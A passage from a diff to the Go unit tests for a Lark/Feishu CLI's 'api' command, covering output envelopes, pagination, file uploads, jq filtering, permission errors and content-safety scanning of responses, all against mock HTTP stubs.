+	cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("--params null with --page-size should not error, got: %v", err)
+	}
+	if out := stdout.String(); !strings.Contains(out, "page_size") {
+		t.Errorf("expected page_size applied over null --params, got:\n%s", out)
 	}
 }
 
@@ -77,14 +147,25 @@ func TestApiCmd_BotMode(t *testing.T) {
 		Body: map[string]interface{}{"code": 0, "msg": "ok", "data": map[string]interface{}{"result": "success"}},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if !strings.Contains(stdout.String(), "success") {
-		t.Error("expected 'success' in output")
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
+	}
+	if got["ok"] != true || got["identity"] != "bot" {
+		t.Fatalf("unexpected envelope: %#v", got)
+	}
+	if _, hasCode := got["code"]; hasCode {
+		t.Fatalf("success envelope leaked outer code: %s", stdout.String())
+	}
+	data, ok := got["data"].(map[string]interface{})
+	if !ok || data["result"] != "success" {
+		t.Fatalf("data = %#v, want result=success", got["data"])
 	}
 }
 
@@ -93,7 +174,7 @@ func TestApiCmd_MissingArgs(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET"}) // missing path
 	err := cmd.Execute()
 	if err == nil {
@@ -101,12 +182,28 @@ func TestApiCmd_MissingArgs(t *testing.T) {
 	}
 }
 
+func TestApiCmd_EmptyMethodRejected(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	cmd := newTestApiCmd(f, nil)
+	cmd.SetArgs([]string{"", "/open-apis/test", "--as", "bot", "--dry-run"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected validation error for empty HTTP method")
+	}
+	if !strings.Contains(err.Error(), "method") {
+		t.Fatalf("error should name the method argument, got: %v", err)
+	}
+}
+
 func TestApiCmd_InvalidParamsJSON(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--params", "{bad"})
 	err := cmd.Execute()
 	if err == nil {
@@ -119,7 +216,7 @@ func TestApiValidArgsFunction(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	fn := cmd.ValidArgsFunction
 
 	tests := []struct {
@@ -185,7 +282,7 @@ func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	flag := cmd.Flags().Lookup("as")
 	if flag == nil {
 		t.Fatal("expected --as flag to be registered")
@@ -204,7 +301,7 @@ func TestApiCmd_PageLimitDefault(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -223,7 +320,7 @@ func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--params", "-", "--data", "-"})
 	err := cmd.Execute()
 	if err == nil {
@@ -240,7 +337,7 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return apiRun(opts)
 	})
@@ -255,6 +352,9 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
 }
 
 func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
 	f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: core.BrandFeishu,
 	})
@@ -265,7 +365,7 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
 		ContentType: "application/octet-stream",
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/drive/v1/files/xxx/download", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -274,8 +374,33 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
 	if !strings.Contains(stderr.String(), "binary response detected") {
 		t.Error("expected binary response hint in stderr")
 	}
-	if !strings.Contains(stdout.String(), "saved_path") {
-		t.Error("expected saved_path in output")
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("stdout is not JSON: %v\nstdout:\n%s", err, stdout.String())
+	}
+	savedPath, _ := got["saved_path"].(string)
+	if savedPath == "" {
+		t.Fatalf("saved_path missing from output: %#v", got)
+	}
+	// The file must land inside the temporary cwd — this pins the isolation
+	// contract: rolling back TestChdir would leave download.bin in the repo.
+	wantDir, err := filepath.EvalSymlinks(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	gotDir, err := filepath.EvalSymlinks(filepath.Dir(savedPath))
+	if err != nil {
+		t.Fatalf("saved_path %q dir not resolvable: %v", savedPath, err)
+	}
+	if gotDir != wantDir {
+		t.Errorf("saved_path %q is outside temp cwd %q", savedPath, wantDir)
+	}
+	content, err := os.ReadFile(savedPath)
+	if err != nil {
+		t.Fatalf("read saved file: %v", err)
+	}
+	if string(content) != "fake-binary-content" {
+		t.Errorf("saved file content = %q, want %q", content, "fake-binary-content")
 	}
 }
 
@@ -296,7 +421,7 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users/u123", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -310,8 +435,16 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
 		t.Error("expected 'falling back to json' in stderr")
 	}
 	// Should output JSON result to stdout
-	if !strings.Contains(stdout.String(), "u123") {
-		t.Error("expected user_id in JSON output")
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
+	}
+	data, ok := got["data"].(map[string]interface{})
+	if got["ok"] != true || got["identity"] != "bot" || !ok || data["user_id"] != "u123" {
+		t.Fatalf("unexpected fallback envelope: %#v", got)
+	}
+	if _, hasCode := got["code"]; hasCode {
+		t.Fatalf("fallback success envelope leaked outer code: %s", stdout.String())
 	}
 }
 
@@ -324,11 +457,11 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 	reg.Register(&httpmock.Stub{
 		URL: "/open-apis/im/v1/chats/oc_xxx/announcement",
 		Body: map[string]interface{}{
-			"code": 230001, "msg": "no permission",
+			"code": 230027, "msg": "user not authorized",
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/im/v1/chats/oc_xxx/announcement", "--as", "bot", "--page-all"})
 	err := cmd.Execute()
 	// Should return an error
@@ -336,12 +469,20 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 		t.Fatal("expected an error for non-zero code")
 	}
 	// Should still output the response body so user can see the error details
-	if !strings.Contains(stdout.String(), "230001") {
+	if !strings.Contains(stdout.String(), "230027") {
 		t.Errorf("expected error response in stdout, got: %s", stdout.String())
 	}
-	if !strings.Contains(stdout.String(), "no permission") {
+	if !strings.Contains(stdout.String(), "user not authorized") {
 		t.Errorf("expected error message in stdout, got: %s", stdout.String())
 	}
+	if strings.Contains(stdout.String(), `"ok": true`) || strings.Contains(stdout.String(), `"ok":true`) {
+		t.Fatalf("unexpected success envelope on error path: %s", stdout.String())
+	}
+	requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
+	var permErr *errs.PermissionError
+	if !errors.As(err, &permErr) {
+		t.Fatalf("expected PermissionError, got %T: %v", err, err)
+	}
 }
 
 func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
@@ -361,7 +502,7 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -377,6 +518,274 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
 	}
 }
 
+func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":      []interface{}{map[string]interface{}{"id": "safe-page"}},
+				"has_more":   true,
+				"page_token": "next",
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 230027, "msg": "user not authorized",
+		},
+	})
+
+	cmd := newTestApiCmd(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected error for non-zero code on later page")
+	}
+	requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
+	out := stdout.String()
+	if !strings.Contains(out, "safe-page") {
+		t.Fatalf("expected earlier successful page to remain streamed, got: %s", out)
+	}
+	if strings.Contains(out, "230027") || strings.Contains(out, "user not authorized") {
+		t.Fatalf("streaming stdout should not contain raw error JSON, got: %s", out)
+	}
+	if strings.Contains(out, "\n  \"code\"") {
+		t.Fatalf("streaming stdout should not contain indented JSON error dump, got: %s", out)
+	}
+}
+
+func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":    []interface{}{map[string]interface{}{"id": "1"}},
+				"has_more": false,
+			},
+		},
+	})
+
+	cmd := newTestApiCmd(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
+	}
+	data, ok := got["data"].(map[string]interface{})
+	if got["ok"] != true || got["identity"] != "bot" || !ok {
+		t.Fatalf("unexpected envelope: %#v", got)
+	}
+	if _, hasCode := got["code"]; hasCode {
+		t.Fatalf("success envelope leaked outer code: %s", stdout.String())
+	}
+	items, ok := data["items"].([]interface{})
+	if !ok || len(items) != 1 {
+		t.Fatalf("data.items = %#v, want one item", data["items"])
+	}
+}
+
+type apiContentSafetyProvider struct {
+	called bool
+	path   string
+	data   interface{}
+	match  string
+}
+
+func (p *apiContentSafetyProvider) Name() string { return "api-test" }
+
+func (p *apiContentSafetyProvider) Scan(_ context.Context, req extcs.ScanRequest) (*extcs.Alert, error) {
+	p.called = true
+	p.path = req.Path
+	p.data = req.Data
+	if p.match != "" {
+		b, _ := json.Marshal(req.Data)
+		if !strings.Contains(string(b), p.match) {
+			return nil, nil
+		}
+	}
+	return &extcs.Alert{Provider: "api-test", MatchedRules: []string{"pagination"}}, nil
+}
+
+func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	provider := &apiContentSafetyProvider{}
+	extcs.Register(provider)
+	t.Cleanup(func() { extcs.Register(nil) })
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":    []interface{}{map[string]interface{}{"id": "1"}},
+				"has_more": false,
+			},
+		},
+	})
+
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
+	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
+	if err := root.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if !provider.called {
+		t.Fatal("expected content safety provider to scan paginated output")
+	}
+	if provider.path != "api" {
+		t.Fatalf("scan path = %q, want api", provider.path)
+	}
+	data, ok := provider.data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("scanned data type = %T, want map", provider.data)
+	}
+	if _, hasCode := data["code"]; hasCode {
+		t.Fatalf("scanned data should be business data only, got %#v", data)
+	}
+
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
+	}
+	alert, ok := got["_content_safety_alert"].(map[string]interface{})
+	if !ok || alert["provider"] != "api-test" {
+		t.Fatalf("missing content safety alert in envelope: %#v", got)
+	}
+}
+
+func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	provider := &apiContentSafetyProvider{}
+	extcs.Register(provider)
+	t.Cleanup(func() { extcs.Register(nil) })
+
+	f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":    []interface{}{map[string]interface{}{"id": "1"}},
+				"has_more": false,
+			},
+		},
+	})
+
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
+	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
+	if err := root.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if !provider.called {
+		t.Fatal("expected content safety provider to scan streamed paginated output")
+	}
+	if provider.path != "api" {
+		t.Fatalf("scan path = %q, want api", provider.path)
+	}
+	items, ok := provider.data.([]interface{})
+	if !ok || len(items) != 1 {
+		t.Fatalf("scanned data = %#v, want one streamed item", provider.data)
+	}
+	if !strings.Contains(stderr.String(), "warning: content safety alert from api-test") {
+		t.Fatalf("expected content safety warning on stderr, got: %s", stderr.String())
+	}
+	if !strings.Contains(stdout.String(), `"id":"1"`) {
+		t.Fatalf("expected streamed ndjson output, got: %s", stdout.String())
+	}
+}
+
+func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	provider := &apiContentSafetyProvider{match: "blocked"}
+	extcs.Register(provider)
+	t.Cleanup(func() { extcs.Register(nil) })
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":      []interface{}{map[string]interface{}{"id": "safe-page"}},
+				"has_more":   true,
+				"page_token": "next",
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/contact/v3/users",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"items":    []interface{}{map[string]interface{}{"id": "blocked-page"}},
+				"has_more": false,
+			},
+		},
+	})
+
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
+	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("expected content safety block error")
+	}
+	var safetyErr *errs.ContentSafetyError
+	if !errors.As(err, &safetyErr) {
+		t.Fatalf("expected ContentSafetyError, got %T: %v", err, err)
+	}
+	if safetyErr.Category != errs.CategoryPolicy || safetyErr.Subtype != errs.SubtypeContentSafety {
+		t.Fatalf("problem = %s/%s, want %s/%s", safetyErr.Category, safetyErr.Subtype, errs.CategoryPolicy, errs.SubtypeContentSafety)
+	}
+	if len(safetyErr.Rules) != 1 || safetyErr.Rules[0] != "pagination" {
+		t.Fatalf("rules = %v, want [pagination]", safetyErr.Rules)
+	}
+	out := stdout.String()
+	if !strings.Contains(out, "safe-page") {
+		t.Fatalf("expected earlier safe page to remain streamed, got: %s", out)
+	}
+	if strings.Contains(out, "blocked-page") {
+		t.Fatalf("blocked page was written before safety block: %s", out)
+	}
+}
+
+func requireProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype, code int) {
+	t.Helper()
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got %T: %v", err, err)
+	}
+	if p.Category != category || p.Subtype != subtype || p.Code != code {
+		t.Fatalf("problem = %s/%s/%d, want %s/%s/%d", p.Category, p.Subtype, p.Code, category, subtype, code)
+	}
+}
+
 func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
 	for _, tt := range []struct {
 		name string
@@ -405,7 +814,7 @@ func TestApiCmd_JqFlag_Parsing(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -425,7 +834,7 @@ func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -444,7 +853,7 @@ func TestApiCmd_JqAndOutputConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--output", "file.bin"})
@@ -475,7 +884,7 @@ func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test/jq", "--as", "bot", "--jq", ".data.items[].name"})
 	err := cmd.Execute()
 	if err != nil {
@@ -496,7 +905,7 @@ func TestApiCmd_JqAndFormatConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--format", "ndjson"})
@@ -514,7 +923,7 @@ func TestApiCmd_JqInvalidExpression(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", "invalid["})
@@ -543,7 +952,7 @@ func TestApiCmd_PageAll_WithJq(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--jq", ".data.items[].id"})
 	err := cmd.Execute()
 	if err != nil {
@@ -564,7 +973,7 @@ func TestApiCmd_MethodUppercase(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -583,7 +992,7 @@ func TestApiCmd_FileFlagParsing(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -601,7 +1010,7 @@ func TestApiCmd_FileAndOutputConflict(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "photo.jpg", "--output", "out.json"})
@@ -618,7 +1027,7 @@ func TestApiCmd_FileWithGET(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--file", "photo.jpg"})
@@ -635,7 +1044,7 @@ func TestApiCmd_FileStdinConflictWithData(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "-", "--data", "-"})
@@ -658,18 +1067,30 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
 	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"POST", "/open-apis/im/v1/images", "--file", "image=" + tmpFile, "--data", `{"image_type":"message"}`, "--dry-run", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
 	out := stdout.String()
-	if !strings.Contains(out, "image") {
-		t.Errorf("expected dry-run output to mention file field, got: %s", out)
+	var env map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
+		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
 	}
-	if !strings.Contains(out, "Dry Run") {
-		t.Errorf("expected dry-run header, got: %s", out)
+	if env["dry_run"] != true {
+		t.Fatalf("dry_run = %#v, want true", env["dry_run"])
+	}
+	data := env["data"].(map[string]interface{})
+	api := data["api"].([]interface{})
+	call := api[0].(map[string]interface{})
+	body := call["body"].(map[string]interface{})
+	file := body["file"].(map[string]interface{})
+	if file["field"] != "image" || file["path"] != tmpFile {
+		t.Fatalf("unexpected file dry-run body: %#v", body)
+	}
+	if strings.Contains(out, "=== Dry Run ===") {
+		t.Fatalf("stdout should not contain dry-run banner: %s", out)
 	}
 }
 
@@ -699,7 +1120,7 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err == nil {
@@ -718,3 +1139,177 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
 		t.Errorf("LogID = %q, want %q", pe.LogID, "20260527-test-log")
 	}
 }
+
+func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	var gotOpts *APIOptions
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"GET", "/open-apis/test", "--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("--json should be accepted without error, got: %v", err)
+	}
+	if gotOpts.Method != "GET" {
+		t.Errorf("expected method GET, got %s", gotOpts.Method)
+	}
+}
+
+// parseMultipartFilenames drives one api --file upload through the mock
+// transport and returns a map of field name -> part filename parsed from the
+// captured multipart body, plus the map of text form fields. It fails the test
+// if the captured request is not multipart/form-data.
+func parseMultipartFilenames(t *testing.T, stub *httpmock.Stub) (map[string]string, map[string]string) {
+	t.Helper()
+	ct := stub.CapturedHeaders.Get("Content-Type")
+	mediaType, params, err := mime.ParseMediaType(ct)
+	if err != nil {
+		t.Fatalf("parse Content-Type %q: %v", ct, err)
+	}
+	if !strings.HasPrefix(mediaType, "multipart/") {
+		t.Fatalf("Content-Type = %q, want multipart/*", mediaType)
+	}
+	filenames := map[string]string{}
+	fields := map[string]string{}
+	mr := multipart.NewReader(bytes.NewReader(stub.CapturedBody), params["boundary"])
+	for {
+		part, err := mr.NextPart()
+		if err != nil {
+			break
+		}
+		if fn := part.FileName(); fn != "" {
+			filenames[part.FormName()] = fn
+		} else {
+			buf := &bytes.Buffer{}
+			_, _ = buf.ReadFrom(part)
+			fields[part.FormName()] = buf.String()
+		}
+	}
+	return filenames, fields
+}
+
+func TestApiCmd_FileUpload_PreservesFilename(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
+		t.Fatalf("write test file: %v", err)
+	}
+
+	stub := &httpmock.Stub{
+		URL:  "/open-apis/approval/v4/files/upload",
+		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
+	}
+	reg.Register(stub)
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "invoice.pdf"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	filenames, _ := parseMultipartFilenames(t, stub)
+	if got := filenames["file"]; got != "invoice.pdf" {
+		t.Fatalf("part filename for field %q = %q, want %q", "file", got, "invoice.pdf")
+	}
+}
+
+func TestApiCmd_FileUpload_FieldPrefixKeepsBasename(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.MkdirAll(filepath.Join(dir, "sub"), 0700); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "sub", "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
+		t.Fatalf("write test file: %v", err)
+	}
+
+	stub := &httpmock.Stub{
